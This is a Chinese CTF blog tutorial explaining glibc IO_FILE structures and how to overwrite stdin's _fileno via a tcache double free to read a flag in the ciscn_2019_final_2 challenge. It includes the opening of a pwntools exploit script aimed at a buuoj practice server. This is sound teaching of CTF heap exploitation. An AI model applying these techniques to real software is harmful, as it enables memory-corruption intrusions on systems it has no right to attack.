pwn题堆利用的一些姿势 -- IO_FILE

pwn题堆利用的一些姿势 – malloc_hook
pwn题堆利用的一些姿势 – free_hook
pwn题堆利用的一些姿势 – setcontext
pwn题堆利用的一些姿势 – exit_hook

概述

  在做堆题的时候,经常会遇到保护全开的情况,其中对利用者影响最大的是PIE保护和Full RELRO,NX保护和栈保护对堆利用来说影响都不大,一般利用也不会往这方面靠。开了PIE保护的话代码段的地址会变,需要泄露代码段基地址才能利用存储在bss段上的堆指针;开了Full RELRO的话,则意味着我们无法修改got表,导致无法修改其它函数got表指向system,进一步获取到shell。因此也就有了我这一系列文章的目的,在got表无法被修改时,我们往往利用的就是下面的一些hook+onegadget来达到我们的目的。
  主要分为以下几个系列:malloc_hook --> free_hook --> IO_FILE --> setcontext。

IO_FILE结构介绍

  这是pwn题堆利用系列的第三篇文章,本篇文章主要讲解一下IO_FILE结构在pwn题中的利用。一般来说,想到使用IO_FILE结构,是因为pwn题中没有可以用来leak的函数功能实现。
  FILE 在 Linux 系统的标准 IO 库中是用于描述文件的结构,称为文件流。 FILE 结构在程序执行 fopen 等函数时会进行创建,并分配在堆中,然后以链表的形式串联起来,但系统一开始会自动创建的三个文件即stdin、stdout、stderr,它们是在libc上。
  我们可以从下面的角度开始一步一步认识这种文件结构,在libc-2.23版本中,有个全局变量_IO_list_all,该变量指向了FILE链表的头部,我们可以通过gdb动态调试来实际观察一下。首先认识一个结构体_IO_FILE_plus,所有FILE文件结构都是这样的一个结构体,整个结构体如下代码所示,其中又包括了两个重要的结构体_IO_FILEIO_jump_t

struct _IO_FILE_plus
{
   
    _IO_FILE    file;
    _IO_jump_t   *vtable;
}

  如下面的截图所示,展示的是_IO_list_all变量,其指向FILE链表的头部,结合上面的结构体可知,file对应的就是_IO_FILE结构类型,vtable对应的就是_IO_jump_t类型。在没有创建其它文件结构时,_IO_list_all指向stderr,然后依次是stdout和stdin,这里通过在前面加上结构体类型可以详细的打印其内存数据信息。

_IO_list_all
  由于_IO_FILE_plus中只是存储了vtable的指针,并没有存储详细的结构信息,所以这里我们进一步打印一下这个指针,看看都有啥。如下截图所示:

vtable
  在_IO_FILE结构体中,_chain字段指向下一个链表节点,因此我们可以通过这个字段去打印下一个FILE文件结构体信息。如下截图所示,展示的是stdout文件结构的内存数据信息,其_chain字段指向stdin。

_chain
  在上面的截图和文字中简单介绍了有关IO_FILE的结构体以及如何在gdb中进行查阅,不过上面的结构体中包含的信息确实是非常多,很多字段我这里也就不一一介绍了,有些字段会在后面用到时再讲解。

利用_fileno字段

原理分析

  这里原理很简单,通过上面的分析,我们可以看到_fileno的值就是文件描述符,位于stdin文件结构开头0x70偏移处,比如:stderr的fileno值为2,stdout的fileno值为1。在漏洞利用中可以通过修改stdin的_fileno值来重定位需要读取的文件,本来为0的话表示从标准输入中读取,修改为4则表示为从文件描述符为4的文件中读取,这里利用这个点可以直接读取flag。

一个例子

  这里以国赛2019年的题目为例,ciscn_2019_final_2,远程环境可以在buuoj上找到。简单分析一下题目,64位程序,保护全开,同时也启用了沙箱机制,不能直接使用execve系统调用,如下截图所示,程序一开始会读取flag文件,然后将文件描述符复制到666,并关闭原来的文件描述符。

final_2-1
  题目漏洞在释放堆块的函数实现中,如下截图所示,堆块释放后堆指针没有置空,因此存在uaf + double free。同时该程序还有一个额外的读取和打印函数,名为bye_bye,截图也在下面。因此这道题,我们的利用思路就是利用fileno这个属性去打印flag。首先leak libc,计算出stdin+0x70即stdin的fileno字段位置,利用tcache bin attack将堆块分配到这里,修改fileno值为666,最后再调用bye_bye函数,此时scanf函数直接从文件描述符666中读取flag,而不是从标准输入0即我们的终端读取输入。

final_2-2
final_2-3
  下面给出完整的Exp,因为这道题目限制只能分配0x20或者0x10大小的堆,加上使用bool来标记堆块的存在,所以利用double free来分配堆块到目的地址的过程略显复杂,读者可以分步耐心调试一番,定会有所收获。

from pwn import *


ld_path = "/home/fanxinli/libc-so/libc-27/ld-2.27.so"
libc_path = "/home/fanxinli/libc-so/libc-2.27-64.so"
# p = process([ld_path, "./ciscn_final_2"], env={"LD_PRELOAD":libc_path})
# p = process([ld_path, ""])
# p = process("", env={"LD_PRELOAD":libc_path})
# p = process("")
p = remote("node4.buuoj.cn", 29559)

# context.log_level = "debug"

r = lambda : p.recv()
rx = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
shell = lambda : p.interactive()


def add(tp, num):
    sa("which command?\n> ", "1")
    sa("2: short int\n>", str(tp))
    sa("your inode number:", str(num))

def free(tp):
    sa("which command?\n> ", "2")
    sa("2: short int\n>", str(tp))

def show(tp):
    sa("which command?\n> ", "3")
    sa("2: short int\n>", str(tp))

def leave():
    sa("which command?\n> ", "4")
    
  • 15
    点赞
  • 52
    收藏
    觉得还不错? 一键收藏
  • 5
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值